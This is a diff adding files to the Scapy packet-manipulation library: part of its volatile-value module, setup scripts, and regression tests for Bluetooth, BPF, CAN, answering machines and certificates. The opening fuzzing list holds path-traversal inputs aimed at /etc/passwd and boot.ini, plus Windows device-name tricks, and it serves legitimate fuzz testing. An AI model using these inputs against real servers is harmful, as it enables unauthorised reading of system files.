+                         "%00",
+                         "\\",
+                         "../../../../../../../../../../../../../../../../../etc/passwd",
+                         "%2e%2e%2f" * 20 + "etc/passwd",
+                         "%252e%252e%252f" * 20 + "boot.ini",
+                         "..%c0%af" * 20 + "etc/passwd",
+                         "..%c0%af" * 20 + "boot.ini",
+                         "//etc/passwd",
+                         r"..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini",
+                         "AUX:",
+                         "CLOCK$",
+                         "COM:",
+                         "CON:",
+                         "LPT:",
+                         "LST:",
+                         "NUL:",
+                         "CON:",
+                         r"C:\CON\CON",
+                         r"C:\boot.ini",
+                         r"\\myserver\share",
+                         "foo.exe:",
+                         "foo.exe\\", ]
+
+    def __str__(self):
+        return str(self._fix())
+    def __bytes__(self):
+        return raw(self._fix())
+                             
+
+class RandPool(RandField):
+    def __init__(self, *args):
+        """Each parameter is a volatile object or a couple (volatile object, weight)"""
+        pool = []
+        for p in args:
+            w = 1
+            if isinstance(p, tuple):
+                p,w = p
+            pool += [p]*w
+        self._pool = pool
+    def _fix(self):
+        r = random.choice(self._pool)
+        return r._fix()
+
+# Automatic timestamp
+
+class AutoTime(VolatileValue):
+    def __init__(self, base=None):
+        if base == None:
+            self.diff = 0
+        else:
+            self.diff = time.time()-base
+    def _fix(self):
+        return time.time()-self.diff
+            
+class IntAutoTime(AutoTime):
+    def _fix(self):
+        return int(time.time()-self.diff)
+
+
+class ZuluTime(AutoTime):
+    def __init__(self, diff=0):
+        self.diff = diff
+    def _fix(self):
+        return time.strftime("%y%m%d%H%M%SZ",
+                             time.gmtime(time.time() + self.diff))
+
+
+class GeneralizedTime(AutoTime):
+    def __init__(self, diff=0):
+        self.diff = diff
+    def _fix(self):
+        return time.strftime("%Y%m%d%H%M%SZ",
+                             time.gmtime(time.time() + self.diff))
+
+
+class DelayedEval(VolatileValue):
+    """ Example of usage: DelayedEval("time.time()") """
+    def __init__(self, expr):
+        self.expr = expr
+    def _fix(self):
+        return eval(self.expr)
+
+
+class IncrementalValue(VolatileValue):
+    def __init__(self, start=0, step=1, restart=-1):
+        self.start = self.val = start
+        self.step = step
+        self.restart = restart
+    def _fix(self):
+        v = self.val
+        if self.val == self.restart :
+            self.val = self.start
+        else:
+            self.val += self.step
+        return v
+
+class CorruptedBytes(VolatileValue):
+    def __init__(self, s, p=0.01, n=None):
+        self.s = s
+        self.p = p
+        self.n = n
+    def _fix(self):
+        return corrupt_bytes(self.s, self.p, self.n)
+
+class CorruptedBits(CorruptedBytes):
+    def _fix(self):
+        return corrupt_bits(self.s, self.p, self.n)
+
diff --git a/setup.cfg b/setup.cfg
new file mode 100644
index 0000000..609d6df
--- /dev/null
+++ b/setup.cfg
@@ -0,0 +1,7 @@
+[metadata]
+description-file = README.md
+
+[sdist]
+formats=gztar
+owner=root
+group=root
diff --git a/setup.py b/setup.py
new file mode 100755
index 0000000..0818edc
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,100 @@
+#! /usr/bin/env python
+
+"""
+Distutils setup file for Scapy.
+"""
+
+
+from distutils import archive_util
+from distutils import sysconfig
+from distutils.core import setup
+from distutils.command.sdist import sdist
+import os
+
+
+EZIP_HEADER = """#! /bin/sh
+PYTHONPATH=$0/%s exec python -m scapy.__init__
+"""
+
+
+def make_ezipfile(base_name, base_dir, verbose=0, dry_run=0, **kwargs):
+    fname = archive_util.make_zipfile(base_name, base_dir, verbose, dry_run)
+    ofname = fname + ".old"
+    os.rename(fname, ofname)
+    of = open(ofname)
+    f = open(fname, "w")
+    f.write(EZIP_HEADER % base_dir)
+    while True:
+        data = of.read(8192)
+        if not data:
+            break
+        f.write(data)
+    f.close()
+    os.system("zip -A '%s'" % fname)
+    of.close()
+    os.unlink(ofname)
+    os.chmod(fname, 0o755)
+    return fname
+
+
+archive_util.ARCHIVE_FORMATS["ezip"] = (
+    make_ezipfile, [], 'Executable ZIP file')
+
+SCRIPTS = ['bin/scapy', 'bin/UTscapy']
+# On Windows we also need additional batch files to run the above scripts
+if os.name == "nt":
+    SCRIPTS += ['bin/scapy.bat', 'bin/UTscapy.bat']
+
+setup(
+    name='scapy',
+    version=__import__('scapy').VERSION,
+    packages=[
+        'scapy',
+        'scapy/arch',
+        'scapy/arch/bpf',
+        'scapy/arch/windows',
+        'scapy/contrib',
+        'scapy/layers',
+        'scapy/layers/tls',
+        'scapy/layers/tls/crypto',
+        'scapy/modules',
+        'scapy/modules/krack',
+        'scapy/asn1',
+        'scapy/tools',
+    ],
+    scripts=SCRIPTS,
+    data_files=[('share/man/man1', ["doc/scapy.1.gz"])],
+    package_data={
+        'scapy': ['VERSION'],
+    },
+
+    # Metadata
+    author='Philippe BIONDI',
+    author_email='phil(at)secdev.org',
+    maintainer='Pierre LALET, Guillaume VALADON',
+    description='Scapy: interactive packet manipulation tool',
+    license='GPLv2',
+    url='http://www.secdev.org/projects/scapy',
+    download_url='https://github.com/secdev/scapy/tarball/master',
+    keywords=["network"],
+    classifiers=[
+        "Development Status :: 5 - Production/Stable",
+        "Environment :: Console",
+        "Intended Audience :: Developers",
+        "Intended Audience :: Information Technology",
+        "Intended Audience :: Science/Research",
+        "Intended Audience :: System Administrators",
+        "Intended Audience :: Telecommunications Industry",
+        "License :: OSI Approved :: GNU General Public License v2 (GPLv2)",
+        "Programming Language :: Python :: 2",
+        "Programming Language :: Python :: 2.7",
+        "Programming Language :: Python :: 3",
+        "Programming Language :: Python :: 3.3",
+        "Programming Language :: Python :: 3.4",
+        "Programming Language :: Python :: 3.5",
+        "Programming Language :: Python :: 3.6",
+        "Topic :: Security",
+        "Topic :: System :: Networking",
+        "Topic :: System :: Networking :: Monitoring",
+    ]
+)
diff --git a/test/answering_machines.uts b/test/answering_machines.uts
new file mode 100644
index 0000000..bc84c69
--- /dev/null
+++ b/test/answering_machines.uts
@@ -0,0 +1,124 @@
+% Regression tests for Scapy Answering Machines
+
+# More informations at http://www.secdev.org/projects/UTscapy/
+
+
+############
+############
++ Answering Machines
+
+= Generic answering machine mocker
+import mock
+@mock.patch("scapy.ansmachine.sniff")
+def test_am(cls_name, packet_query, check_reply, mock_sniff, **kargs):
+    def sniff(*args,**kargs):
+        kargs["prn"](packet_query)
+    mock_sniff.side_effect = sniff
+    am = cls_name(**kargs)
+    am.send_reply = check_reply
+    am()
+
+
+= BOOT_am
+def check_BOOTP_am_reply(packet):
+    assert(BOOTP in packet and packet[BOOTP].op == 2)
+    assert(packet[BOOTP].yiaddr == "192.168.1.128" and packet[BOOTP].giaddr == "192.168.1.1")
+
+test_am(BOOTP_am,
+        IP()/UDP()/BOOTP(op=1),
+        check_BOOTP_am_reply)
+
+
+= DHCP_am
+def check_DHCP_am_reply(packet):
+    assert(DHCP in packet and len(packet[DHCP].options))
+    assert(("domain", "localnet") in packet[DHCP].options)
+
+test_am(DHCP_am,
+        IP()/UDP()/BOOTP(op=1)/DHCP(),
+        check_DHCP_am_reply)
+
+
+= ARP_am
+def check_ARP_am_reply(packet):
+    assert(ARP in packet and packet[ARP].psrc == "10.28.7.1")
+    assert(packet[ARP].hwsrc == "00:01:02:03:04:05")
+
+test_am(ARP_am,
+        Ether()/ARP(pdst="10.28.7.1"),
+        check_ARP_am_reply,
+        IP_addr="10.28.7.1",
+        ARP_addr="00:01:02:03:04:05")
+
+
+= DNS_am
+def check_DNS_am_reply(packet):
+    assert(DNS in packet and packet[DNS].ancount == 1)
+    assert(packet[DNS].an.rdata == b"192.168.1.1")
+
+test_am(DNS_am,
+        IP()/UDP()/DNS(qd=DNSQR(qname="www.secdev.org")),
+        check_DNS_am_reply)
+
+= DHCPv6_am - Basic Instantiaion
+~ osx netaccess
+a = DHCPv6_am()
+a.usage()
+
+a.parse_options(dns="2001:500::1035", domain="localdomain, local", duid=None,
+        iface=conf.iface6, advpref=255, sntpservers=None, 
+        sipdomains=None, sipservers=None, 
+        nisdomain=None, nisservers=None, 
+        nispdomain=None, nispservers=None,
+        bcmcsdomains=None, bcmcsservers=None,
+        debug=1)
+
+= DHCPv6_am - SOLICIT
+~ osx netaccess
+req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=1)/DHCP6OptClientId(duid=DUID_LLT())
+assert a.is_request(req)
+res = a.make_reply(req)
+assert not a.is_request(res)
+assert res[DHCP6_Advertise]
+assert res[DHCP6OptPref].prefval == 255
+assert res[DHCP6OptReconfAccept]
+a.print_reply(req, res)
+
+= DHCPv6_am - INFO-REQUEST
+~ osx netaccess
+req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=11)/DHCP6OptClientId(duid=DUID_LLT())
+assert a.is_request(req)
+res = a.make_reply(req)
+assert not a.is_request(res)
+assert res[DHCP6_Reply]
+assert "local" in res[DHCP6OptDNSDomains].dnsdomains
+a.print_reply(req, res)
+
+= DHCPv6_am - REQUEST
+~ osx netaccess
+req = IPv6(dst="::1")/UDP()/DHCP6(msgtype=3)/DHCP6OptClientId(duid=DUID_LLT())/DHCP6OptServerId(duid=a.duid)
+assert a.is_request(req)
+res = a.make_reply(req)
+assert not a.is_request(res)
+assert res[UDP].dport == 546
+assert res[DHCP6_Solicit]
+a.print_reply(req, res)
+
+= WiFi_am
+import mock
+@mock.patch("scapy.layers.dot11.sniff")
+def test_WiFi_am(packet_query, check_reply, mock_sniff, **kargs):
+    def sniff(*args,**kargs):
+        kargs["prn"](packet_query)
+    mock_sniff.side_effect = sniff
+    am = WiFi_am(**kargs)
+    am.send_reply = check_reply
+    am()
+
+def check_WiFi_am_reply(packet):
+    assert(isinstance(packet, list) and len(packet) == 2)
+    assert(TCP in packet[0] and Raw in packet[0] and raw(packet[0][Raw]) == b"5c4pY")
+
+test_WiFi_am(Dot11(FCfield="to-DS")/IP()/TCP()/"Scapy",
+             check_WiFi_am_reply,
+             iffrom="scapy0", ifto="scapy1", replace="5c4pY", pattern="Scapy")
diff --git a/test/bluetooth.uts b/test/bluetooth.uts
new file mode 100644
index 0000000..742297d
--- /dev/null
+++ b/test/bluetooth.uts
@@ -0,0 +1,112 @@
+% Scapy Bluetooth layer tests
+
++ HCI Commands
+= LE Create Connection Cancel
+
+expected_cmd_raw_data = hex_bytes("010e2000")
+cmd_raw_data = raw(HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Create_Connection_Cancel())
+assert(expected_cmd_raw_data == cmd_raw_data)
+
+= Disconnect
+expected_cmd_raw_data = hex_bytes("01060403341213")
+cmd_raw_data = raw(HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Disconnect(handle=0x1234))
+assert(expected_cmd_raw_data == cmd_raw_data)
+
+= LE Connection Update Command
+expected_cmd_raw_data = hex_bytes("0113200e47000a00140001003c000100ffff")
+cmd_raw_data = raw(
+    HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Connection_Update(
+        handle=0x47, min_interval=10, max_interval=20, latency=1, timeout=60,
+        min_ce=1, max_ce=0xffff))
+assert(expected_cmd_raw_data == cmd_raw_data)
+
+
++ HCI Events
+= LE Connection Update Event
+evt_raw_data = hex_bytes("043e0a03004800140001003c00")
+evt_pkt =  HCI_Hdr(evt_raw_data)
+assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].handle == 0x48)
+assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].interval == 20)
+assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].latency == 1)
+assert(evt_pkt[HCI_LE_Meta_Connection_Update_Complete].timeout == 60)
+
+
++ Bluetooth LE Advertising / Scan Response Data Parsing
+= Parse EIR_Flags, EIR_CompleteList16BitServiceUUIDs, EIR_CompleteLocalName and EIR_TX_Power_Level
+
+ad_report_raw_data = \
+    hex_bytes("043e2b020100016522c00181781f0201020303d9fe1409" \
+              "506562626c652054696d65204c452037314536020a0cde")
+scapy_packet = HCI_Hdr(ad_report_raw_data)
+
+assert(scapy_packet[EIR_Flags].flags == 0x02)
+assert(scapy_packet[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xfed9])
+assert(scapy_packet[EIR_CompleteLocalName].local_name == b'Pebble Time LE 71E6')
+assert(scapy_packet[EIR_TX_Power_Level].level == 12)
+
+= Parse EIR_Manufacturer_Specific_Data
+
+scan_resp_raw_data = \
+    hex_bytes("043e2302010401be5e0eb9f04f1716ff5401005f423331" \
+              "3134374432343631fc00030c0000de")
+scapy_packet = HCI_Hdr(scan_resp_raw_data)
+
+assert(scapy_packet[EIR_Manufacturer_Specific_Data].data == b'\x00_B31147D2461\xfc\x00\x03\x0c\x00\x00')
+assert(scapy_packet[EIR_Manufacturer_Specific_Data].company_id == 0x154)
+
+= Basic L2CAP dissect
+a = L2CAP_Hdr(b'\x08\x00\x06\x00\t\x00\xf6\xe5\xd4\xc3\xb2\xa1')
+assert a[SM_Identity_Address_Information].address == 'a1:b2:c3:d4:e5:f6'
+assert a[SM_Identity_Address_Information].atype == 0
+a.show()
+
+= Basic HCI_ACL_Hdr build & dissect
+a = HCI_Hdr()/HCI_ACL_Hdr(handle=0xf4c, PB=2, BC=2, len=20)/L2CAP_Hdr(len=16)/L2CAP_CmdHdr(code=8, len=12)/Raw("A"*12)
+assert raw(a) == b'\x02L\xaf\x14\x00\x10\x00\x05\x00\x08\x00\x0c\x00AAAAAAAAAAAA'
+b = HCI_Hdr(raw(a))
+assert a == b
+
+= Complex HCI - L2CAP build
+a = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_ConnReq(scid=1)
+assert raw(a) == b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x02\x00\x04\x00\x00\x00\x01\x00'
+a.show()
+
+= Complex HCI - L2CAP dissect
+a = HCI_Hdr(b'\x02\x00\x00\x11\x00\r\x00\x05\x00\x0b\x00\t\x00\x01\x00\x00\x00debug')
+assert a[L2CAP_InfoResp].result == 0
+assert a[L2CAP_InfoResp].data == b"debug"
+
+= Answers
+a = HCI_Hdr(b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x02\x00\x04\x00\x00\x00\x9a;')
+b = HCI_Hdr(b'\x02\x00\x00\x10\x00\x0c\x00\x05\x00\x03\x00\x08\x00\x9a;\x00\x00\x00\x00\x01\x00')
+assert b.answers(a)
+assert not a.answers(b)
+
+a = HCI_Hdr(b'\x02\x00\x00\x0c\x00\x08\x00\x05\x00\x04\x00\x04\x00\x15\x00\x00\x00')
+b = HCI_Hdr(b'\x02\x00\x00\x0e\x00\n\x00\x05\x00\x05\x00\x06\x00\x15\x00\x00\x00\x02\x00')
+assert b.answers(a)
+assert not a.answers(b)
+
+= EIR_Hdr - misc
+a = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Advertising_Report(addr = "a1:b2:c3:d4:e5:f6", data=EIR_Hdr()/EIR_CompleteLocalName(local_name="scapy"))
+assert raw(a) == b'\x04>\x00\x02\x00\x00\x00\xf6\xe5\xd4\xc3\xb2\xa1\x07\x06\tscapy\x00'
+b = HCI_Hdr(raw(a))
+assert b.data[0][EIR_CompleteLocalName].local_name == b"scapy"
+assert b[HCI_LE_Meta_Advertising_Report].addr == "a1:b2:c3:d4:e5:f6"
+
+assert a.summary() == "HCI Event / HCI_Event_Hdr / HCI_Event_LE_Meta / HCI_LE_Meta_Advertising_Report"
+
+= ATT_Hdr - misc
+a = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/ATT_Hdr()/ATT_Read_By_Type_Request_128bit(uuid1=0xa14, uuid2=0xa24)
+a = HCI_Hdr(raw(a))
+a.show()
+a.mysummary()
+assert ATT_Read_By_Type_Request_128bit in a
+assert not Raw in a
+
+b = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/ATT_Hdr()/ATT_Read_By_Type_Request(uuid=0xa14)
+b = HCI_Hdr(raw(b))
+b.show()
+b.mysummary()
+assert ATT_Read_By_Type_Request in b
+assert not Raw in b
diff --git a/test/bpf.uts b/test/bpf.uts
new file mode 100644
index 0000000..e78641f
--- /dev/null
+++ b/test/bpf.uts
@@ -0,0 +1,158 @@
+% Regression tests for Scapy BPF mode
+
+# More informations at http://www.secdev.org/projects/UTscapy/
+
+
+############
+############
++ Addresses manipulation functions
+
+= Get the packet IPv4 address configured on conf.iface
+
+get_if_raw_addr(conf.iface)
+
+
+= Get the packed MAC address of conf.iface
+
+get_if_raw_hwaddr(conf.iface)
+
+= Get the packed MAC address of LOOPBACK_NAME
+
+get_if_raw_hwaddr(LOOPBACK_NAME) == (ARPHDR_LOOPBACK, b'\x00'*6) 
+
+
+############
+############
++ BPF related functions
+
+= Get a BPF handler
+~ needs_root
+
+from scapy.arch.bpf.supersocket import get_dev_bpf
+fd, _ = get_dev_bpf()
+
+= Attach a BPF filter
+~ needs_root
+
+from scapy.arch.bpf.supersocket import attach_filter
+attach_filter(fd, conf.iface, "arp or icmp")
+
+
+= Get network interfaces list
+
+iflist = get_if_list()
+len(iflist) > 0
+
+
+= Get working network interfaces
+~ needs_root
+
+from scapy.arch.bpf.core import get_working_ifaces
+ifworking = get_working_ifaces()
+len(ifworking)
+            
+from scapy.arch.bpf.core import get_working_if
+len(ifworking) and get_working_if() == ifworking[0][0]
+
+
+= Misc functions
+~ needs_root
+
+from scapy.arch.bpf.supersocket import isBPFSocket, bpf_select
+isBPFSocket(L2bpfListenSocket()) and isBPFSocket(L2bpfSocket()) and isBPFSocket(L3bpfSocket())
+
+l = bpf_select([L2bpfSocket()])
+l = bpf_select([L2bpfSocket(), sys.stdin.fileno()])
+
+
+############
+############
++ BPF sockets
+
+= L2bpfListenSocket - initialization variants
+~ needs_root
+
+L2bpfListenSocket()
+L2bpfListenSocket(iface=conf.iface)
+L2bpfListenSocket(promisc=True)
+L2bpfListenSocket(filter="icmp")
+L2bpfListenSocket(iface=conf.iface, promisc=True, filter="icmp")
+
+
+= L2bpfListenSocket - set_*()
+~ needs_root
+
+s = L2bpfListenSocket()
+s.set_promisc(0)
+s.set_nonblock(1)
+s.set_promisc(0)
+s.close()
+
+s = L2bpfListenSocket()
+s.set_nonblock(set_flag=False)
+s.set_nonblock(set_flag=True)
+s.set_nonblock(set_flag=False)
+s.close()
+
+= L2bpfListenSocket - recv as nonblocking
+~ needs_root
+
+s = L2bpfListenSocket()
+s.set_nonblock(set_flag=True)
+
+def test_nonblock_recv(s):
+    for i in range(1, 100):
+        a = s.recv()
+        if not a:
+            return True
+    return False
+
+assert test_nonblock_recv(s)
+
+= L2bpfListenSocket - get_*()
+~ needs_root
+
+s = L2bpfListenSocket()
+blen = s.get_blen()
+blen > 0 and type(blen) == int
+s.close()
+
+s = L2bpfListenSocket()
+stats = s.get_stats()
+len(stats) == 2 and type(stats) == tuple
+s.close()
+
+
+= L2bpfListenSocket - other methods
+~ needs_root
+
+s = L2bpfListenSocket()
+type(s.fileno()) == int
+s.close()
+
+s = L2bpfListenSocket()
+guessed = s.guess_cls()
+issubclass(guessed, Packet)
+s.close()
+
+
+= L2bpfSocket - nonblock_recv()
+~ needs_root
+
+s = L2bpfSocket()
+s.nonblock_recv()
+s.close()
+
+
+= L*bpfSocket - send()        
+~ needs_root
+                              
+s = L2bpfSocket()             
+s.send(Ether()/IP(dst="8.8.8.8")/ICMP())
+                              
+s = L3bpfSocket()             
+s.send(IP(dst="8.8.8.8")/ICMP())
+                              
+s = L3bpfSocket()             
+s.assigned_interface = LOOPBACK_NAME
+s.send(IP(dst="8.8.8.8")/ICMP())
diff --git a/test/can.uts b/test/can.uts
new file mode 100644
index 0000000..ed55dd9
--- /dev/null
+++ b/test/can.uts
@@ -0,0 +1,55 @@
+% Regression tests for the CAN layer
+
+# More informations at http://www.secdev.org/projects/UTscapy/
+
+
+############
+############
+
++ Basic operations
+
+= Load module
+
+load_layer("can")
+
+= Build a packet
+
+pkt = CAN(flags="error", identifier=1234, data="test")
+
+= Dissect & parse
+
+pkt = CAN(raw(pkt))
+pkt.flags == "error" and pkt.identifier == 1234 and pkt.length == 4 and pkt.data == b"test"
+
+
+############
+############
+
++ Example PCAP file
+
+= Read PCAP file
+* From https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=CANopen.pca
+
+from io import BytesIO
+pcap_fd = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\xe3\x00\x00\x00\xe2\xf3mT\x93\x8c\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x073\x01\x00\x00\x00\x00\xe2\xf3mT\xae\x8c\x03\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x7f\x00\x00\x81\x00\xe2\xf3mTI\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07B\x01\x00\x00\x00\x00\xe2\xf3mTM\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07c\x01\x00\x00\x00\x00\xe2\xf3mTN\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07!\x01\x00\x00\x00\x00\xf8\xf3mTv\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x08\x10\x00\x00\x00\x00\x00\xf8\xf3mT\x96\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00A\x08\x10\x00\x15\x00\x00\x00\xf8\xf3mT\xd4\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\xf8\xf3mT\x12\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mTC\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00\x00UltraHi\xf8\xf3mTx\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mT\xce\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00\xf8\xf3mT\xe0\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mT \x9a\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mTo\x9a\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x083\xf4mTw\xbe\t\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x08\x10*\x00\x00\x00\x003\xf4mT4\xc0\t\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x08\x10*\x11\x00\t\x06i\xf4mT\xb0\x88\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe5\x08\x7f\x00\x00L\x00\x00\x00\x00\x00\x00\x00i\xf4mT+\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mT-\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mTS\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mT\x99\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\x8e\xf4mT\x86\xc4\x04\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01B\x92\xf4mT\xae\xf0\x07\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\xba\xf4mT%\xaa\x0b\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02c\xe8\xf4mT\xbc\x0f\x06\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00#\x00b\x01asdf\xe8\xf4mT\x07\x10\x06\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00b\x01\x00\x00\x02\x06\x0f\xf5mT\x1c\x81\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x00b\x01\x00\x00\x00\x00\x0f\xf5mT\xfe\x81\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00b\x01\x00\x00\x02\x068\xf5mT\x19\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00\xa0\x08\x10\x00\x10\x00\x00\x008\xf5mTg\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00\xc2\x08\x10\x00\x15\x00\x00\x008\xf5mT\xd8\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x088\xf5mT\x17\xc4\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00\xa3\x00\x00\x00\x00\x00\x00\x008\xf5mT\xca\xc4\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08')
+packets = rdpcap(pcap_fd)
+
+= Check if parsing worked: each packet has a CAN layer
+
+all(CAN in pkt for pkt in packets)
+
+= Check if parsing worked: no packet has a Raw or Padding layer
+
+not any(Raw in pkt or Padding in pkt for pkt in packets)
+
+= Identifiers
+
+set(pkt.identifier for pkt in packets) == {0, 1474, 1602, 1825, 1843, 1858, 1891, 2020, 2021}
+
+= Flags
+
+set(pkt.flags for pkt in packets) == {0}
+
+= Data length
+
+set(pkt.length for pkt in packets) == {1, 2, 8}
diff --git a/test/cert.uts b/test/cert.uts
new file mode 100644
index 0000000..bd23ac9
--- /dev/null
+++ b/test/cert.uts
@@ -0,0 +1,406 @@
+# Cert extension - Regression Test Campaign
+
+# Try me with:
+# bash test/run_tests -t test/cert.uts -F
+
+~ crypto
+
+########### PKCS helpers ###############################################
+
++ PKCS helpers tests 
+
+= PKCS os2ip basic tests
+pkcs_os2ip(b'\x00\x00\xff\xff') == 0xffff and pkcs_os2ip(b'\xff\xff\xff\xff\xff') == 0xffffffffff
+
+= PKCS i2osp basic tests
+pkcs_i2osp(0xffff, 4) == b'\x00\x00\xff\xff' and pkcs_i2osp(0xffff, 2) == b'\xff\xff' and pkcs_i2osp(0xffffeeee, 3) == b'\xff\xff\xee\xee'
+
+
+########### PubKey class ###############################################
+
++ PubKey class tests
+
+= PubKey class : Importing PEM-encoded RSA public key
+x = PubKey("""
+-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj
+1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ
+2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0
+oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd
+I8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkm
+TL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvz
+AwIDAQAB
+-----END PUBLIC KEY-----
+""")
+x_pubNum = x.pubkey.public_numbers()
+type(x) is PubKeyRSA
+
+= PubKey class : Verifying PEM key format
+x.frmt == "PEM"
+
+= PubKey class : Importing DER-encoded RSA Key
